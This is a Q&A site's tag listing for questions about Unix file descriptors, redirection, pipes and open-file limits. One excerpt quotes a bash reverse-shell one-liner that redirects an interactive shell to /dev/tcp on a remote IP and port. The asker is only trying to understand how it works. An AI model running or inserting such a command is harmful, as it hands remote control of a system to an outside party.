Questions tagged [file-descriptors]

The tag has no usage guidance.

Filter by
Sorted by
Tagged with
1 vote
0 answers
27 views

Issue with redirecting output to double digit file descriptor

/tmp$ python Python 2.7.6 (default, Nov 13 2018, 12:45:42) [GCC 4.8.4] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>&...
0 votes
1 answer
24 views

Named file descriptors with Process Substitution

I'm trying to use named file descriptors with Process Substitution. I wrote the following code but it doesn't work: # Open named file descriptors and associate to Process Substitution result exec {...
  • 2,233
0 votes
1 answer
37 views

echo >>regular_file vs echo >>&fd: one closes, other does not

In my observation, echo to regular file echo >>regular_file opens the file, appends to it, and then closes the file. Whereas echo to an open file descriptor echo >>&fd* doesn't close ...
2 votes
1 answer
59 views

trap is ignored when dialog is running with custom BASH_XTRACEFD

I have following script #!/bin/bash exec 5> >(logger -t $0) BASH_XTRACEFD="5" set -x trap _reboot INT DIALOG_TITLE="This is fancy dialog title" _reboot() { echo ...
1 vote
3 answers
79 views

Is there an equivalent to /dev/stdout for file descriptors 3-255?

I know that one can often trick command line utilities that expect a file to pipe into stdout out by passing /dev/stdout as the file name. I'm wondering whether it's possible to make a tool pipe to a ...
0 votes
0 answers
103 views

Is 2 pipes more expensive than 1 socketpair?

Suppose I want to launch a co-process and attach its standard input and output to the main process, what we have here are 2 options: call pipe(2) and create 2 pipes, and attach them separately to the ...
  • 487
1 vote
1 answer
35 views

Not understanding the use of EVIOCGRAB for touchscreen devices

I am looking at a userspace library which handles touchscreen events from the Linux kernel. The following line of code, I can't understand what it does. What is the purpose of EVIOCGRAB when passed to ...
0 votes
0 answers
11 views

Interruptible/Pausable/Restartable file locks and descriptors on Linux?

I have this desired use case: unload then reload (a possibly different version of) a file system driver without having first to close processes that have open files on it. To do this, I am imagining ...
1 vote
0 answers
53 views

how to close file descriptor bigger then 9 by dash in shell script

I want launch a shell script in code called system("sh example.sh"), and close all file descriptors like this: for fd in $(ls /proc/$$/fd); do case "$fd" in 0|1|2) ;;...
  • 11
-1 votes
1 answer
47 views

Can the stdout (1) file descriptor be re-used after closing?

I first call close(1) and then later open a file using open() syscall. Is it possible that open() returns 1 because it will use the lowest free file descriptor? I have read that open() uses the lowest ...
  • 393
3 votes
2 answers
141 views

What do the permissions mean in /proc/<pid>/fd/?

I'm looking at the result of running ls -l on /proc/<pid>/fd/: lr-x------ 1 root root 64 Apr 22 23:13 0 -> /dev/null lrwx------ 1 root root 64 Apr 22 23:13 1 -> 'socket:[19700]' lrwx------ ...
2 votes
0 answers
101 views

FIFO and simple bash parallelization on CentOS

I am having problems adapting a bash script to handle a simple parallel execution from Ubuntu 20.04 to CentOS Linux 8. In the script I spawn multiple "readers" that read a string from a FIFO ...
  • 21
0 votes
2 answers
178 views

meaning of file type c in ls -l command [duplicate]

I am wondering what the type c is in the ls command. I was following the symlinks at /dev/stdin and ended up with /dev/pts/0 $ ls -l /dev/pts/0 crw--w---- 1 blue tty 136, 0 Apr 8 21:50 /dev/pts/0 I ...
  • 145
2 votes
0 answers
83 views

bash: writing to the file descriptor #3 of an unnamed (anonymous) pipe

I need to call a PHP interpreter, which is in a docker container, from my Linux host system. For some reasons I don't want to install PHP on the host system. Now I'm trying to call PHP in this way: ...
3 votes
0 answers
135 views

Bash - Reading from file descriptor twice

I am working with Linux file descriptor at the moment to communicate with an external device via serial port, and I wonder if it is possible for me to duplicate the result returned the device. In ...
0 votes
0 answers
728 views

kafka + too many open files between Kafka brokers or may between broker and clients

we are facing very major problem with our Apache Kafka servers our Kafka servers are creased because "Too many open files" we have production Kafka cluster with 7 machines , while Kafka ...
  • 11.4k
0 votes
1 answer
189 views

What would be the stream for file descriptor 3u?

I know that the stream for file descriptor 2u is stderr. However, I'm not sure what the stream for file descriptor 3u would be and why? Ultimately, what does 3u represent here?
's user avatar
0 votes
1 answer
504 views

Writing in the file descriptor of the child process (fd/0)

I'm playing with file descriptors in my CentOS 7 sandbox. In doing so, I noticed an interesting situation. Suppose we've a simple PHP script: $step = 4 * 1024; echo "php started\n"; while (!...
0 votes
1 answer
133 views

execlp "sort" with input from pipe stucks, why?

sort is waiting, but what? I tried execlp("head", "head", "-n", "3", NULL); instead sort and it works fine. #include <stdlib.h> #include <sys/wait.h&...
  • 103
0 votes
1 answer
108 views

File descriptor 10 when running a script (Bash/dash, etc.)

When the script runs, a file descriptor 10 appears with the contents of the executable script. For example, the script: #!/bin/sh sleep 600 When viewing the fd of a running script through processes, ...
  • 137
2 votes
1 answer
255 views

increasing fs.file-max: what are the others kernel params need adjustments (for running kafka)

For running a kafka service (with jbod disks, where we encountered problems due to too many open files) with an increased LimitNOFILE of 500000, we decided to increase the fs.file-max from 500000 to ...
  • 11.4k
1 vote
2 answers
1k views

how to find the number of open files per process

we have kafka service ( as systemctl service ) and we configured in that service number of open files example: [Service] LimitMEMLOCK=infinity LimitNOFILE=1500000 Type=forking User=root Group=kafka ...
  • 11.4k
-1 votes
1 answer
3k views

What does the output of `ll /proc/self/fd/` (from `ll /dev/fd`) mean?

Related, but not duplicates: /dev/fd inconsistency How does /dev/fd relate to /proc/self/fd/? Why does process substitution result in a file called /dev/fd/63 which is a pipe? On Ubuntu 18.04 and 20....
0 votes
2 answers
193 views

Are there "non-standard" streams in Linux/Unix?

The so-called "standard streams" in Linux are stdin,stdout,stderr. But they must be called "standard" for a reason. Are there non-standard streams? And are these non-standard ...
  • 121
2 votes
1 answer
256 views

zsh: understanding sequence of redirections and pipe with pointers

In zsh, echo "hello" 1>&1 1>&1 1>&1 | cat prints hello 8 times, while echo "hello" 1>&1 1>&1 1>&1 1>&1 | cat prints hello 16 ...
0 votes
1 answer
379 views

Closing stdout fd gives error, while closing stderr fd does not

The following test code gives error "bad file descriptor". Why is that so? This is just a test code to understand file descriptors and their interaction with pipes. Example 1) ❯ echo "...
2 votes
1 answer
230 views

Redirection to stderr works in bash, not in zsh

In bash, ❯ echo "hello" 1>&2 | echo "world" hello world In zsh, ❯ echo "hello" 1>&2 | echo "world" world More than a way around this, I am ...
2 votes
2 answers
176 views

Struggling with understanding redirection in pipes and subshells: Code explanation would be highly appreciated

Please consider the following log from a terminal session (Debian Buster, Bash 5.0): root@cerberus ~/scripts # rm -f result root@cerberus ~/scripts # { { echo test; } | cat > result; } root@...
  • 2,297
5 votes
1 answer
228 views

On `tty <&1` vs `echo $(tty <&1)` vs `echo $(tty <&2)`

The key statements in the snippet below (i.e. other than those for printing labels and blank lines, for spacing) come in pairs. In each pair, the first and second statements have the forms tty... and ...
  • 13.5k
0 votes
1 answer
56 views

dd command took alot of disk space when just coping open file from file descriptor

I have more than 30 qemu-kvm process open with different images. Their images where accidentally deleted. I searched and i found out that as the file is still open in a process. It can be still ...
  • 3
0 votes
1 answer
211 views

Redirecting any and all file descriptors to a file

Redirecting output from a known file descriptors to a file is as simple as ./binary 1> ./file 2>&1 But, let's say I have a binary which might be using file descriptors other than 0, 1 and 2....
1 vote
1 answer
43 views

Bash: Difference between paste command with Command Substiution vs. FIFO FDs

I'm just trying to understand why when I use a couple FIFO FDs in a paste command I get a 'Broken Pipe' but when I use Command Substitution everything is all good. A little background: I have a need ...
3 votes
1 answer
1k views

Are ioctl calls blocking?

I am writing some code around libgpiod's interface. For example, I want to set a line to output high. Under the hood, libgpiod opens an fd provided by the kernel for the line, and then calls ioctl(fd, ...
  • 4,720
1 vote
0 answers
48 views

Bash file descriptor redirection mystery [duplicate]

This is a mystery encountered at work today. Note that this behavior seems to be specific to a binary that I do not know the contents of, but any ideas as to how this phenomenon could occur would be ...
-1 votes
1 answer
57 views

Why someone use descriptors with /dev/null?

I don't get it. I see in some tutorials that people use descriptors like that (for output and errors) command 1> /dev/null command 2> /dev/null But why they do that? We can't see the output on ...
  • 165
4 votes
1 answer
619 views

How do I close a named file descriptor without closing stdin/stdout?

exec {ec}< <(echo "puts 'hello'") && sudo ruby /proc/$$/fd/${ec} As soon as I close it with exec <&"${ec}"- The shell exits. In another situation, I create ...
  • 996
1 vote
0 answers
159 views

How can lsof report a higher number than the ulimit?

From time to time some user consumes all the file descriptors (FDs) on a RHEL Linux machine. I have started logging the FDs per user to see the actual state. The logging is run as root to have access ...
  • 111
0 votes
1 answer
464 views

How to get open file descriptors/handles using libprocps in c program

I am trying to create a performance display for my IOT device. The device uses Linux so , i want to get the number of file handles programmatically using C program. Currently i am using libprocps API ...
  • 13
0 votes
0 answers
100 views

Is it possible to name an anonymous file socket?

Suppose I perform the following command: python3 foo.py Usage: foo ... Next, I use redirection: python3 <(foo.py) Usage: 63 ... (because the file descriptor assigned is /dev/fd/63) My arg ...
  • 715
5 votes
0 answers
307 views

AF_UNIX: Using recv() to receive a message sent with sendmsg()

The function prototype for the sendmsg() function is as follows: ssize_t sendmsg(int sockfd, const struct msghdr *msg, int flags); and the msghdr struct is such: struct msghdr { void *...
  • 419
1 vote
2 answers
252 views

Is there any way to de-couple stdin into multiple input sources?

I am looking for a way to have two stdins to a bash script, namely one that is interactive and another which could leverage redirection Say I need to invoke a program which asks for credentials of the ...
  • 11
10 votes
3 answers
1k views

Can I get UNIX file permissions to take effect immediately for all processes?

When I change the permissions on a file using chmod, existing file descriptors can continue to access the file under the previous permissions. Can I cause those existing file descriptors to close or ...
  • 1,335
1 vote
1 answer
274 views

why is there a "0>&1"?

I am still trying to figure out how this command works? bash -i >& /dev/tcp/10.0.0.1/4242 0>&1 I found out somewhere that 0>&1 means that STDIN is sent through the connection, ...
1 vote
1 answer
122 views

Difference between >&/dev/null and &>/dev/null [duplicate]

I tried to find information about the operator order in the statement >&/dev/null Is there any difference between >& and &>?
0 votes
1 answer
73 views

How to auto-detect filetype in pastebinit?

I use pastebinit to share snippets. As you can see, it has a -f switch so the rendered webpage highlights the uploaded file depending on the format of the file (like -f python or -f bash). Now, I want ...
0 votes
1 answer
73 views

/dev/fd inconsistency

What explains the following inconsistency in the reported contents of /dev/fd? erhannis@mnode6:/dev/fd$ ll /dev/fd/ total 0 dr-x------ 2 erhannis erhannis 0 Jan 12 22:10 . dr-xr-xr-x 9 erhannis ...
  • 219
7 votes
1 answer
658 views

Why is the file descriptor opened and read only once?

Why can it be used only 1 time when we open the file descriptor ourselves and redirect it to stdin? Please take a look at the example below to understand what I want to say. After reading it once with ...
  • 1,132
1 vote
2 answers
889 views

What is the historical reason for limits on file descriptors (ulimit -n)

When I first borrowed an account on a UNIX system in 1990, the file limit was an astonishing 1024, so I never really saw that as a problem. Today 30 years later the (soft) limit is a measly 1024. I ...
  • 30.7k
-1 votes
1 answer
1k views

How is "multiple file descriptors refer to the same socket" created?

The Linux Programming Interface says 56.5.5 Connection Termination: close() The usual way of terminating a stream socket connection is to call close(). If multiple file descriptors refer to the same ...
  • 92.7k
2 votes
1 answer
265 views

How to calculate number of open files and number of file descriptors

what are differences between number of open_files and number of file_descriptors in linux ? I'm confused . The value in the /proc/sys/fs/file-max is for total file_descriptors or total open_files ? ...
  • 21

1
2 3 4 5
8